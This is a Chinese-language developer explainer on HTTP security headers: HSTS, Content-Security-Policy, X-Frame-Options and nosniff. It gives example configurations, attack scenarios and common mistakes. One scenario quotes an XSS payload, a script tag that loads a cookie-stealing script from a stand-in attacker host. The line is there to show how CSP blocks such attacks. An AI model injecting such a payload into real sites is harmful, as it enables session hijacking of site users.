FlowingDev

HTTP 安全标头：你浏览器的第一道防线

了解 HTTP 安全标头如何作为规则，告诉浏览器如何安全地处理你的网站内容，并防止常见的 Web 攻击。

试用工具: 安全标头

一句话概括

HTTP 安全标头是服务器发送的特殊指令，它告诉浏览器该如何行事，从而为抵御常见的 Web 攻击增加了一道至关重要的防线。

它解决的问题

在 Web 早期，浏览器们有点太天真了。当时普遍的态度是：“嘿，服务器给我发了这些东西，那我就渲染出来呗！”这种信任很快就被利用了。不法分子找到了各种方法，将恶意脚本注入合法网站，诱骗用户点击他们看不见的东西，以及劫持敏感信息。

核心问题在于，浏览器没有从服务器那里得到任何关于什么应该或不应该被允许的指示。如果博客文章的评论里包含一个能窃取用户 cookie 的 <script> 标签，浏览器会很乐意地执行它。如果攻击者将你银行的网站嵌入到一个看不见的 <iframe> 中，以诱骗你转账，浏览器会说：“行啊，听起来不错。”

这就催生了一整类攻击，如跨站脚本（XSS）、点击劫持（clickjacking）和中间人协议降级攻击。安全标头的发明，就是为了让服务器在发送网站内容的同时，附上一本“规则手册”。这本规则手册告诉浏览器：“替我多操点心，多疑一点。不要从不受信任的域名加载脚本。不要让任何人在 frame 里加载我的网站。看在老天的份上，只能通过安全连接跟我通信。”它们将一部分安全责任转移到了客户端，强制执行那些仅靠服务器无法实施的策略。

工作原理

当你的浏览器请求一个网页时，服务器会响应 HTML 内容，但在此之前，它会发送一个叫做“标头（headers）”的文本块。这些是提供有关响应元数据的键值对。安全标头只是一些浏览器能识别并遵守的特定标头。

让我们来分析一下其中的几个明星成员。

Strict-Transport-Security (HSTS)

这位是执行严格“仅限 HTTPS”策略的保安。一旦浏览器从你的网站看到这个标头，它就会做出一个承诺：在接下来的 max-age 秒内，它永远不会尝试使用不安全的 HTTP 连接到你的网站。它会自动将所有请求升级到 HTTPS。

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
  • max-age：浏览器应该记住强制使用 HTTPS 的时间（以秒为单位）。一个典型的值是一年（31536000）。
  • includeSubDomains：将此规则应用于所有子域名（例如，blog.example.com，api.example.com）。
  • preload：一个信号，表示你同意将你的域名包含在浏览器维护的“预加载列表”中。这意味着即使用户第一次访问你的网站，也会被强制使用 HTTPS，从而堵上一个虽小但很重要的漏洞。

Content-Security-Policy (CSP)

这是个大家伙——一个超细致的安全管家。CSP 让你能定义一个严格的白名单，规定浏览器允许加载和执行哪些资源（脚本、样式、图片、字体等）。这是对抗跨站脚本攻击（XSS）最有效的方法。

CSP 是一个由多个指令组成的字符串。

Content-Security-Policy: default-src 'self'; script-src 'self' https://apis.google.com; object-src 'none';
  • default-src 'self': 默认情况下，只允许加载来自我自己的源（相同域名）的资源。
  • script-src 'self' https://apis.google.com: 对于脚本，允许来自我自己的源和 apis.google.com。所有其他脚本都将被阻止。
  • object-src 'none': 禁止使用像 <object>、<embed> 和 <applet> 这样的老旧嵌入式内容。

制定一个好的 CSP 可能有点棘手，因为现代网站会从很多地方拉取资源（CDN、分析服务提供商等），但它的功能非常强大。

X-Frame-Options

这是最初的反点击劫持标头。它简单直接，告诉浏览器你的网站是否可以在 <frame>、<iframe>、<embed> 或 <object> 中呈现。

X-Frame-Options: DENY
  • DENY: 页面不能在任何 frame 中显示，无论试图加载它的网站是哪个。
  • SAMEORIGIN: 页面只能在与页面本身同源的 frame 中显示。

虽然它仍然有用，但正逐渐被 CSP 中的 frame-ancestors 指令所取代，后者更加灵活。

X-Content-Type-Options

这个标头只有一个有效值，nosniff，但它很重要。它能阻止浏览器“自作聪明”地去猜测一个资源的MIME类型。一些老旧的浏览器可能会看到一个以 text/plain 形式提供的文件，但注意到它看起来像 JavaScript，然后就执行了它。这被称为 MIME 嗅探（MIME-sniffing），可能会导致安全漏洞。

X-Content-Type-Options: nosniff

这个标头告诉浏览器：“我发送的 Content-Type 标头就是绝对真理，别质疑它。如果我说它是张图片，那它就是张图片，就算里面有 <script> 标签也一样。”

真实案例

幽灵按钮点击事件

一个用户登录了他们最喜欢的社交媒体网站。然后他们浏览到一个看起来无害的游戏网站，该网站承诺点击一个按钮就能获得免费奖品。用户看到一个大大的“领取奖品！”按钮并点击了它。他们不知道的是，运行这个游戏网站的攻击者已经将社交媒体网站加载到一个完全透明的 <iframe> 中，并精确地覆盖在游戏之上。“领取奖品！”按钮与那个看不见的社交媒体页面上的“删除我的账户”按钮完美对齐。当用户点击时，他们并不是在领取奖品，而是在删除自己的账户。

教训： 这是一个典型的点击劫持攻击。如果那个社交媒体网站发送了 X-Frame-Options: DENY 或 Content-Security-Policy: frame-ancestors 'none' 标头，浏览器就会拒绝在 <iframe> 中加载该网站，攻击会立即失败。

恶意评论事件

一个热门的科技博客有一个繁忙的评论区。一天，一个用户发布了一条看似有用的评论，但里面隐藏了一段狡猾的 JavaScript 代码：<script src="https://evil-hacker.com/steal-cookie.js"></script>。博客的后端没有正确地净化评论内容，就将其保存到了数据库。现在，每个访问该博客文章的人，他们的浏览器都会加载并执行 steal-cookie.js 脚本。该脚本悄悄地抓取用户的会话 cookie 并发送到黑客的服务器，从而让黑客能够劫持版主、管理员和普通用户的会话。

教训： 一个配置得当的 Content-Security-Policy 在这里就是一发银弹。像 script-src 'self' https://cdn.my-blog.com 这样的策略会指示浏览器只执行来自博客自己域名及其信任的 CDN 的脚本。对 evil-hacker.com 的请求会被直接阻止，并且会向服务器发送一份报告，提醒网站所有者注意这次未遂的攻击。

咖啡店里的中间人攻击

你在一家咖啡店，用他们的公共 Wi-Fi 查看你的银行余额。你在浏览器中输入 mybank.com。同一网络上的一个攻击者拦截了你最初的、未加密的 HTTP 请求。攻击者没有让你被重定向到安全的 HTTPS 版本，而是通过 HTTP 给你提供了一个像素级完美的假冒银行登录页面。你输入了你的凭据，攻击者就捕获了它们。游戏结束。

教训： 如果你以前访问过 mybank.com，并且该银行实施了 Strict-Transport-Security (HSTS)，你的浏览器就会知道 mybank.com 只 使用 HTTPS。它甚至不会尝试发出那个最初的不安全请求，而是会立即将其升级为 https://mybank.com，完全绕过攻击者的陷阱。

常见误区和坑

  • 过于宽松的 CSP： 因为修复应用代码更麻烦，就在 Content-Security-Policy 中使用 unsafe-inline 或 unsafe-eval。这会重新打开 CSP 本来要堵上的 XSS 漏洞。
  • HSTS 的 max-age 太短： 在测试时将 Strict-Transport-Security 的 max-age 设置为几分钟或几小时，而在生产环境中忘记增加它。这会严重限制其有效性。
  • 忘记 includeSubDomains： 用 HSTS 保护了 www.example.com，但没有保护 api.example.com。攻击者仍然可以针对子域名下手。如果所有子域名都支持 HTTPS，请务必包含它。
  • 依赖已废弃的标头： 仍然试图使用 X-XSS-Protection 标头。现代浏览器已经禁用了它，因为它有时会被欺骗，反而制造出安全漏洞。正确的做法是使用一个强大的 CSP。
  • 设置完就不管了： 安全不是一成不变的。你可能会添加一个新的分析脚本或 CDN。如果不更新你的 CSP，你的网站可能会出问题。安全标头需要成为你部署和测试流程的一部分。
  • 搞崩自己的网站： 未经测试就部署一个非常严格的 CSP。使用 Content-Security-Policy-Report-Only 可以让浏览器只报告违规行为而不实际阻止它们，这样你就可以在强制执行策略之前对其进行微调。

为什么你应该关注它

如果你构建、维护或以任何方式对网站或 Web 应用负责，那么安全标头应该在你的检查清单上。就是这样，句号。

它们是你能做的性价比最高的安全改进措施之一。实施它们通常只需要在你的 Web 服务器（Nginx、Apache）或应用框架中进行几行配置。它们为抵御整类的常见漏洞提供了巨大的防御能力。把它想象成安全带：它不能阻止车祸发生，但能极大地提高你的生还几率。安全标头无法阻止一个拥有服务器端漏洞利用能力的执着攻击者，但它们将阻止绝大多数针对毫无戒心的用户的、机会主义的客户端攻击。

深入了解

理论搞定，动手试试吧——100% 在你的浏览器中运行。

试用工具: 安全标头